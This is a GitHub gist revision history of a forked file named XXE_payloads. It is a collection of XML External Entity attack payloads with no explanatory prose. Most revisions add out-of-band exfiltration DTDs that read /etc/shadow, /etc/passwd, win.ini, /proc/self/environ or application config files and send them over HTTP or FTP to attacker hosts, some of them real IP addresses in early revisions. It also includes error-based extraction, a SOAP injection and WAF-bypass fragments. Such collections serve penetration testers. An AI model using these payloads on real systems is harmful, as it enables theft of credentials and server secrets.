Skip to content

Instantly share code, notes, and snippets.

@b00ls0ck3t

b00ls0ck3t/XXE_payloads

Forked from staaldraad/XXE_payloads
Created August 12, 2020 08:18
Show Gist options
  • Save b00ls0ck3t/93e6772d15b088c10e062e82642b646c to your computer and use it in GitHub Desktop.
Save b00ls0ck3t/93e6772d15b088c10e062e82642b646c to your computer and use it in GitHub Desktop.
Download ZIP

Revisions

  1. @staaldraad staaldraad revised this gist Jul 7, 2016. 1 changed file with 33 additions and 0 deletions.
    33 changes: 33 additions & 0 deletions XXE_payloads
    View file
    Original file line number Diff line number Diff line change
    @@ -44,6 +44,39 @@ OoB variation of above (seems to work better against .NET)
    <!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
    <!ENTITY % param1 "<!ENTITY &#x25; exfil SYSTEM 'http://x.x.x.x:443/?%data;'>">

    ---------------------------------------------------------------
    OoB extraction
    ---------------------------------------------------------------

    <?xml version="1.0"?>
    <!DOCTYPE r [
    <!ENTITY % data3 SYSTEM "file:///etc/shadow">
    <!ENTITY % sp SYSTEM "http://EvilHost:port/sp.dtd">
    %sp;
    %param3;
    %exfil;
    ]>

    ## External dtd: ##
    <!ENTITY % param3 "<!ENTITY &#x25; exfil SYSTEM 'ftp://Evilhost:port/%data3;'>">

    -----------------------------------------------------------------------
    OoB extra ERROR -- Java
    -----------------------------------------------------------------------
    <?xml version="1.0"?>
    <!DOCTYPE r [
    <!ENTITY % data3 SYSTEM "file:///etc/passwd">
    <!ENTITY % sp SYSTEM "http://x.x.x.x:8080/ss5.dtd">
    %sp;
    %param3;
    %exfil;
    ]>
    <r></r>
    ## External dtd: ##

    <!ENTITY % param1 '<!ENTITY &#x25; external SYSTEM "file:///nothere/%payload;">'> %param1; %external;


    -----------------------------------------------------------------------
    OoB extra nice
    -----------------------------------------------------------------------
  2. @staaldraad staaldraad revised this gist Feb 29, 2016. 1 changed file with 9 additions and 1 deletion.
    10 changes: 9 additions & 1 deletion XXE_payloads
    View file
    Original file line number Diff line number Diff line change
    @@ -100,4 +100,12 @@ FTP
    ---------------------------
    Inside SOAP body
    ---------------------------
    <soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>
    <soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>


    ---------------------------
    Untested - WAF Bypass
    ---------------------------
    <!DOCTYPE :. SYTEM "http://"
    <!DOCTYPE :_-_: SYTEM "http://"
    <!DOCTYPE {0xdfbf} SYSTEM "http://"
  3. Etienne Stalmans revised this gist Nov 19, 2015. 1 changed file with 29 additions and 5 deletions.
    34 changes: 29 additions & 5 deletions XXE_payloads
    View file
    Original file line number Diff line number Diff line change
    @@ -1,3 +1,7 @@
    --------------------------------------------------------------
    Vanilla, used to verify outbound xxe or blind xxe
    --------------------------------------------------------------

    <?xml version="1.0" ?>
    <!DOCTYPE r [
    <!ELEMENT r ANY >
    @@ -16,12 +20,30 @@ OoB extraction
    %sp;
    %param1;
    ]>
    <r>&exfil;</r>

    ## External dtd: ##

    <!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
    <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://x.x.x.x:443/?%data;'>">

    ----------------------------------------------------------------
    OoB variation of above (seems to work better against .NET)
    ----------------------------------------------------------------
    <?xml version="1.0" ?>
    <!DOCTYPE r [
    <!ELEMENT r ANY >
    <!ENTITY % sp SYSTEM "http://x.x.x.x:443/ev.xml">
    %sp;
    %param1;
    %exfil;
    ]>

    ## External dtd: ##

    <!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
    <!ENTITY % param1 "<!ENTITY &#x25; exfil SYSTEM 'http://x.x.x.x:443/?%data;'>">

    -----------------------------------------------------------------------
    OoB extra nice
    -----------------------------------------------------------------------
    @@ -57,23 +79,25 @@ File-not-found exception based extraction
    <!ENTITY % three SYSTEM "file:///etc/passwd">
    <!ENTITY % two "<!ENTITY % four SYSTEM 'file:///%three;'>">

    -------------------------^ you might need to encode this % (depends on your target) as: &#x25;

    --------------
    FTP
    --------------
    <?xml version="1.0" ?>
    <!DOCTYPE a [
    <!ENTITY % asd SYSTEM "http://46.101.180.57:4444/ext.dtd">
    %asd;
    %c;
    <!ENTITY % asd SYSTEM "http://x.x.x.x:4444/ext.dtd">
    %asd;
    %c;
    ]>
    <a>&rrr;</a>


    ## External dtd ##
    <!ENTITY % d SYSTEM "file:///proc/self/environ">
    <!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://46.101.180.57:2121/%d;'>">
    <!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://x.x.x.x:2121/%d;'>">

    ---------------------------
    Inside SOAP body
    ---------------------------
    <soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://0x0:22/"> %dtd;]><xxx/>]]></foo></soap:Body>
    <soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>
  4. Etienne Stalmans revised this gist Nov 17, 2015. 1 changed file with 2 additions and 2 deletions.
    4 changes: 2 additions & 2 deletions XXE_payloads
    View file
    Original file line number Diff line number Diff line change
    @@ -13,8 +13,8 @@ OoB extraction
    <!DOCTYPE r [
    <!ELEMENT r ANY >
    <!ENTITY % sp SYSTEM "http://x.x.x.x:443/ev.xml">
    %sp
    %param1
    %sp;
    %param1;
    ]>

    ## External dtd: ##
  5. Etienne Stalmans revised this gist Oct 20, 2015. 1 changed file with 6 additions and 1 deletion.
    7 changes: 6 additions & 1 deletion XXE_payloads
    View file
    Original file line number Diff line number Diff line change
    @@ -71,4 +71,9 @@ FTP

    ## External dtd ##
    <!ENTITY % d SYSTEM "file:///proc/self/environ">
    <!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://46.101.180.57:2121/%d;'>">
    <!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://46.101.180.57:2121/%d;'>">

    ---------------------------
    Inside SOAP body
    ---------------------------
    <soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://0x0:22/"> %dtd;]><xxx/>]]></foo></soap:Body>
  6. Etienne Stalmans revised this gist Jul 1, 2015. 1 changed file with 17 additions and 1 deletion.
    18 changes: 17 additions & 1 deletion XXE_payloads
    View file
    Original file line number Diff line number Diff line change
    @@ -55,4 +55,20 @@ File-not-found exception based extraction
    ## External dtd: ##

    <!ENTITY % three SYSTEM "file:///etc/passwd">
    <!ENTITY % two "<!ENTITY % four SYSTEM 'file:///%three;'>">
    <!ENTITY % two "<!ENTITY % four SYSTEM 'file:///%three;'>">

    --------------
    FTP
    --------------
    <?xml version="1.0" ?>
    <!DOCTYPE a [
    <!ENTITY % asd SYSTEM "http://46.101.180.57:4444/ext.dtd">
    %asd;
    %c;
    ]>
    <a>&rrr;</a>


    ## External dtd ##
    <!ENTITY % d SYSTEM "file:///proc/self/environ">
    <!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://46.101.180.57:2121/%d;'>">
  7. staaldraad revised this gist Feb 26, 2015. 1 changed file with 22 additions and 0 deletions.
    22 changes: 22 additions & 0 deletions XXE_payloads
    View file
    Original file line number Diff line number Diff line change
    @@ -17,9 +17,29 @@ OoB extraction
    %param1
    ]>

    ## External dtd: ##

    <!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
    <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://x.x.x.x:443/?%data;'>">

    -----------------------------------------------------------------------
    OoB extra nice
    -----------------------------------------------------------------------

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE root [
    <!ENTITY % start "<![CDATA[">
    <!ENTITY % stuff SYSTEM "file:///usr/local/tomcat/webapps/customapp/WEB-INF/applicationContext.xml ">
    <!ENTITY % end "]]>">
    <!ENTITY % dtd SYSTEM "http://evil/evil.xml">
    %dtd;
    ]>
    <root>&all;</root>

    ## External dtd: ##

    <!ENTITY all "%start;%stuff;%end;">

    ------------------------------------------------------------------
    File-not-found exception based extraction
    ------------------------------------------------------------------
    @@ -32,5 +52,7 @@ File-not-found exception based extraction
    %four;
    ]>

    ## External dtd: ##

    <!ENTITY % three SYSTEM "file:///etc/passwd">
    <!ENTITY % two "<!ENTITY % four SYSTEM 'file:///%three;'>">
  8. staaldraad revised this gist Feb 26, 2015. 1 changed file with 19 additions and 1 deletion.
    20 changes: 19 additions & 1 deletion XXE_payloads
    View file
    Original file line number Diff line number Diff line change
    @@ -5,6 +5,9 @@
    ]>
    <r>&sp;</r>

    ---------------------------------------------------------------
    OoB extraction
    ---------------------------------------------------------------

    <?xml version="1.0" ?>
    <!DOCTYPE r [
    @@ -15,4 +18,19 @@
    ]>

    <!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
    <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://x.x.x.x:443/?%data;'>">
    <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://x.x.x.x:443/?%data;'>">

    ------------------------------------------------------------------
    File-not-found exception based extraction
    ------------------------------------------------------------------

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE test [
    <!ENTITY % one SYSTEM "http://attacker.tld/dtd-part" >
    %one;
    %two;
    %four;
    ]>

    <!ENTITY % three SYSTEM "file:///etc/passwd">
    <!ENTITY % two "<!ENTITY % four SYSTEM 'file:///%three;'>">
  9. staaldraad revised this gist Jan 4, 2015. 1 changed file with 3 additions and 3 deletions.
    6 changes: 3 additions & 3 deletions XXE_payloads
    View file
    Original file line number Diff line number Diff line change
    @@ -1,18 +1,18 @@
    <?xml version="1.0" ?>
    <!DOCTYPE r [
    <!ELEMENT r ANY >
    <!ENTITY sp SYSTEM "http://198.211.127.143:443/test.txt">
    <!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
    ]>
    <r>&sp;</r>


    <?xml version="1.0" ?>
    <!DOCTYPE r [
    <!ELEMENT r ANY >
    <!ENTITY % sp SYSTEM "http://198.211.127.143:443/ev.xml">
    <!ENTITY % sp SYSTEM "http://x.x.x.x:443/ev.xml">
    %sp
    %param1
    ]>

    <!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
    <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://198.211.127.143:443/?%data;'>">
    <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://x.x.x.x:443/?%data;'>">
  10. staaldraad created this gist Oct 28, 2014.
    18 changes: 18 additions & 0 deletions XXE_payloads
    View file
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,18 @@
    <?xml version="1.0" ?>
    <!DOCTYPE r [
    <!ELEMENT r ANY >
    <!ENTITY sp SYSTEM "http://198.211.127.143:443/test.txt">
    ]>
    <r>&sp;</r>


    <?xml version="1.0" ?>
    <!DOCTYPE r [
    <!ELEMENT r ANY >
    <!ENTITY % sp SYSTEM "http://198.211.127.143:443/ev.xml">
    %sp
    %param1
    ]>

    <!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
    <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://198.211.127.143:443/?%data;'>">